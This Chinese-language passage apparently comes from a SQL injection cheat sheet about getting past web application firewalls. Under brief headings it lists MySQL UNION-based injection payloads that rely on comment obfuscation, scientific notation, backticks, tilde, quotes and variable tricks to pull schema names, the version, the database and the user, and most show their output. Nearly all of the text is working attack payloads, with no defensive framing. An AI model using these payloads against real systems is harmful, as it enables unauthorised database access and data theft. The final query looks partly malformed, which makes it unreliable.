mysql> select username,password,email from user where id=-1 union/**/(select/*!*/!.1,(select/*!50000*/schema_name from information_schema.schemata limit 0,1),2) ; -- +
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 0 | information_schema | 2 |
+----------+--------------------+-------+
利用科学计数:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/**/select+null,null,null ;-- -
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| NULL | NULL | NULL |
+----------+----------+-------+
利用加减号特性:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union/*!*/select+null,-null,/*!null*/ ;-- -
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| NULL | NULL | NULL |
+----------+----------+-------+
1
2
3
4
5
6
mysql> select username,password,email from user where id=-1 union (select+1,+(select+schema_name/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+
利用反引号特性:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select+1,+(select+`schema_name`/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+
利用破折号特性,适合用在盲注中:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,(select(schema_name)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,!(select(schema_name)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------------------+----------+-------+
| username | password | email |
+----------------------+----------+-------+
| 18446744073709551614 | 1 | 2 |
+----------------------+----------+-------+
利用 @ ``特性:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e1union/*!*/(select~1,!(select(@`schema_name`)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------------------+----------+-------+
| username | password | email |
+----------------------+----------+-------+
| 18446744073709551614 | NULL | 2 |
+----------------------+----------+-------+
利用 . 特性:
1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/1,(select(@`schema_name`)/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+----------+-------+
| username | password | email |
+----------+----------+-------+
| 1 | NULL | 2 |
+----------+----------+-------+
利用单双引号特性:
1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/'1',(select("schema_name")/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+-------------+-------+
| username | password | email |
+----------+-------------+-------+
| 1 | schema_name | 2 |
+----------+-------------+-------+
利用各种括号特性,如,花括号[小括号,总括号]:
1
2
3
4
5
6
mysql> select username,password,email from user where id=.1union/*.1*/(select/**/(1),(select("schema_name")/**/from/*!*/information_schema.schemata/**/limit 0,1),2);
+----------+-------------+-------+
| username | password | email |
+----------+-------------+-------+
| 1 | schema_name | 2 |
+----------+-------------+-------+
利用后向引用对付拦截 union+select+from:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-1|@sel:=(select schema_name from information_schema.schemata limit 0,1)/*!50000union*//*!50000*//*!50000select*/ 1,@sel,2;
+----------+--------------------+-------+
| username | password | email |
+----------+--------------------+-------+
| 1 | information_schema | 2 |
+----------+--------------------+-------+
单独拦截select的情况:
1
2
3
4
5
6
mysql> select username,password,email from user where id=-11e12union/*!50000select distinctrow*/+version(),+database(),user();
mysql> select username,password,email from user where id=-1 union select if((select length(schema_name),\Nfrom information_schema.schemata limit 1) > (select 1,\N),110,0),2,3;